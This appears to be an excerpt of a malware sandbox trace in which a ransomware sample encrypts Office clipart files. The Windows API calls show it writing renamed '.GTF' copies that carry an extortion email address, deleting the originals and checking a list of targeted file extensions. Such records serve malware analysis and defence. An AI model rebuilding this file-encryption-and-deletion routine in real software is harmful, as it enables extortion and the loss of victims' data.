	[0162.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0162.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0162.616] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.616] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0162.616] GetLastError () returned 0x0
	[0162.616] ReadFile (in: hFile=0x540, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x3e74, lpOverlapped=0x0) returned 1
	[0162.618] WriteFile (in: hFile=0x53c, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x3e80, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x3e80, lpOverlapped=0x0) returned 1
	[0162.619] ReadFile (in: hFile=0x540, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.619] WriteFile (in: hFile=0x53c, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0162.620] SetEndOfFile (hFile=0x53c) returned 1
	[0162.620] CloseHandle (hObject=0x53c) returned 1
	[0162.620] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.620] SetEndOfFile (hFile=0x540) returned 1
	[0162.624] CloseHandle (hObject=0x540) returned 1
	[0162.624] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0162.625] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf")) returned 1
	[0162.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68
	[0162.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68
	[0162.625] lstrlenW (lpString=".doc") returned 4
	[0162.625] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0162.625] lstrlenW (lpString=".docx") returned 5
	[0162.625] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0162.625] lstrlenW (lpString=".pdf") returned 4
	[0162.625] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0162.625] lstrlenW (lpString=".xls") returned 4
	[0162.625] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0162.625] lstrlenW (lpString=".xlsx") returned 5
	[0162.625] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0162.625] lstrlenW (lpString=".ppt") returned 4
	[0162.626] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0162.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68
	[0162.626] lstrlenW (lpString=".zip") returned 4
	[0162.626] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0162.626] lstrlenW (lpString=".rar") returned 4
	[0162.626] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0162.626] lstrlenW (lpString=".bz2") returned 4
	[0162.626] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0162.626] lstrlenW (lpString=".7z") returned 3
	[0162.626] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0162.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68
	[0162.626] lstrlenW (lpString=".dbf") returned 4
	[0162.626] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0162.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68
	[0162.626] lstrlenW (lpString=".1cd") returned 4
	[0162.626] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0162.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68
	[0162.626] lstrlenW (lpString=".jpg") returned 4
	[0162.626] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0162.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68
	[0162.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68
	[0162.626] lstrlenW (lpString=".doc") returned 4
	[0162.626] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0162.626] lstrlenW (lpString=".docx") returned 5
	[0162.626] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0162.626] lstrlenW (lpString=".pdf") returned 4
	[0162.626] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0162.626] lstrlenW (lpString=".xls") returned 4
	[0162.626] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0162.626] lstrlenW (lpString=".xlsx") returned 5
	[0162.626] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0162.626] lstrlenW (lpString=".ppt") returned 4
	[0162.626] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0162.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68
	[0162.626] lstrlenW (lpString=".zip") returned 4
	[0162.626] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0162.627] lstrlenW (lpString=".rar") returned 4
	[0162.627] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0162.627] lstrlenW (lpString=".bz2") returned 4
	[0162.627] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0162.627] lstrlenW (lpString=".7z") returned 3
	[0162.627] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0162.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68
	[0162.627] lstrlenW (lpString=".dbf") returned 4
	[0162.627] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0162.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68
	[0162.627] lstrlenW (lpString=".1cd") returned 4
	[0162.627] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0162.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68
	[0162.627] lstrlenW (lpString=".jpg") returned 4
	[0162.627] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0162.627] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0162.627] lstrlenW (lpString="J0102594.WMF") returned 12
	[0162.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0162.628] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=27000) returned 1
	[0162.628] CloseHandle (hObject=0x540) returned 1
	[0162.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf")) returned 0x220
	[0162.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0162.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0162.628] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.628] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0162.629] GetLastError () returned 0x0
	[0162.629] ReadFile (in: hFile=0x540, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x6978, lpOverlapped=0x0) returned 1
	[0162.631] WriteFile (in: hFile=0x53c, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x6980, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x6980, lpOverlapped=0x0) returned 1
	[0162.633] ReadFile (in: hFile=0x540, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.633] WriteFile (in: hFile=0x53c, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0162.633] SetEndOfFile (hFile=0x53c) returned 1
	[0162.633] CloseHandle (hObject=0x53c) returned 1
	[0162.633] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.633] SetEndOfFile (hFile=0x540) returned 1
	[0162.636] CloseHandle (hObject=0x540) returned 1
	[0162.636] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0162.636] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf")) returned 1
	[0162.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68
	[0162.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68
	[0162.637] lstrlenW (lpString=".doc") returned 4
	[0162.637] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0162.637] lstrlenW (lpString=".docx") returned 5
	[0162.637] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0162.637] lstrlenW (lpString=".pdf") returned 4
	[0162.637] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0162.637] lstrlenW (lpString=".xls") returned 4
	[0162.637] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0162.637] lstrlenW (lpString=".xlsx") returned 5
	[0162.637] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0162.637] lstrlenW (lpString=".ppt") returned 4
	[0162.637] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0162.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68
	[0162.637] lstrlenW (lpString=".zip") returned 4
	[0162.637] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0162.637] lstrlenW (lpString=".rar") returned 4
	[0162.637] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0162.637] lstrlenW (lpString=".bz2") returned 4
	[0162.637] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0162.637] lstrlenW (lpString=".7z") returned 3
	[0162.637] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0162.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68
	[0162.637] lstrlenW (lpString=".dbf") returned 4
	[0162.637] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0162.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68
	[0162.637] lstrlenW (lpString=".1cd") returned 4
	[0162.637] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0162.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68
	[0162.637] lstrlenW (lpString=".jpg") returned 4
	[0162.637] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0162.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68
	[0162.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68
	[0162.637] lstrlenW (lpString=".doc") returned 4
	[0162.637] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0162.637] lstrlenW (lpString=".docx") returned 5
	[0162.638] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0162.638] lstrlenW (lpString=".pdf") returned 4
	[0162.638] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0162.638] lstrlenW (lpString=".xls") returned 4
	[0162.638] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0162.638] lstrlenW (lpString=".xlsx") returned 5
	[0162.638] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0162.638] lstrlenW (lpString=".ppt") returned 4
	[0162.638] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0162.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68
	[0162.638] lstrlenW (lpString=".zip") returned 4
	[0162.638] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0162.638] lstrlenW (lpString=".rar") returned 4
	[0162.638] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0162.638] lstrlenW (lpString=".bz2") returned 4
	[0162.638] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0162.638] lstrlenW (lpString=".7z") returned 3
	[0162.638] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0162.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68
	[0162.638] lstrlenW (lpString=".dbf") returned 4
	[0162.638] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0162.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68
	[0162.638] lstrlenW (lpString=".1cd") returned 4
	[0162.638] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0162.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68
	[0162.638] lstrlenW (lpString=".jpg") returned 4
	[0162.638] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0162.639] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0162.639] lstrlenW (lpString="J0102762.WMF") returned 12
	[0162.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0162.639] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=11216) returned 1
	[0162.639] CloseHandle (hObject=0x540) returned 1
	[0162.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf")) returned 0x220
	[0162.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0162.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0162.640] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.640] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0162.640] GetLastError () returned 0x0
	[0162.640] ReadFile (in: hFile=0x540, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x2bd0, lpOverlapped=0x0) returned 1
	[0162.642] WriteFile (in: hFile=0x53c, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x2be0, lpOverlapped=0x0) returned 1
	[0162.643] ReadFile (in: hFile=0x540, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.643] WriteFile (in: hFile=0x53c, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0162.643] SetEndOfFile (hFile=0x53c) returned 1
	[0162.643] CloseHandle (hObject=0x53c) returned 1
	[0162.644] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.644] SetEndOfFile (hFile=0x540) returned 1
	[0162.646] CloseHandle (hObject=0x540) returned 1
	[0162.646] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0162.646] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf")) returned 1
	[0162.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68
	[0162.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68
	[0162.647] lstrlenW (lpString=".doc") returned 4
	[0162.647] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0162.647] lstrlenW (lpString=".docx") returned 5
	[0162.647] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0162.647] lstrlenW (lpString=".pdf") returned 4
	[0162.647] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0162.647] lstrlenW (lpString=".xls") returned 4
	[0162.647] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0162.647] lstrlenW (lpString=".xlsx") returned 5
	[0162.647] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0162.647] lstrlenW (lpString=".ppt") returned 4
	[0162.647] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0162.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68
	[0162.647] lstrlenW (lpString=".zip") returned 4
	[0162.647] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0162.647] lstrlenW (lpString=".rar") returned 4
	[0162.647] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0162.647] lstrlenW (lpString=".bz2") returned 4
	[0162.647] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0162.647] lstrlenW (lpString=".7z") returned 3
	[0162.647] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0162.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68
	[0162.647] lstrlenW (lpString=".dbf") returned 4
	[0162.647] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0162.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68
	[0162.648] lstrlenW (lpString=".1cd") returned 4
	[0162.648] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0162.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68
	[0162.648] lstrlenW (lpString=".jpg") returned 4
	[0162.648] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0162.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68
	[0162.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68
	[0162.648] lstrlenW (lpString=".doc") returned 4
	[0162.648] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0162.648] lstrlenW (lpString=".docx") returned 5
	[0162.648] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0162.648] lstrlenW (lpString=".pdf") returned 4
	[0162.648] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0162.648] lstrlenW (lpString=".xls") returned 4
	[0162.648] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0162.648] lstrlenW (lpString=".xlsx") returned 5
	[0162.648] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0162.648] lstrlenW (lpString=".ppt") returned 4
	[0162.648] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0162.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68
	[0162.648] lstrlenW (lpString=".zip") returned 4
	[0162.648] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0162.648] lstrlenW (lpString=".rar") returned 4
	[0162.648] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0162.648] lstrlenW (lpString=".bz2") returned 4
	[0162.648] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0162.648] lstrlenW (lpString=".7z") returned 3
	[0162.648] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0162.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68
	[0162.648] lstrlenW (lpString=".dbf") returned 4
	[0162.648] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0162.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68
	[0162.648] lstrlenW (lpString=".1cd") returned 4
	[0162.648] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0162.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68
	[0162.649] lstrlenW (lpString=".jpg") returned 4
	[0162.649] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0162.649] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0162.649] lstrlenW (lpString="J0102984.WMF") returned 12
	[0162.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0162.649] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=17040) returned 1
	[0162.649] CloseHandle (hObject=0x540) returned 1
	[0162.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf")) returned 0x220
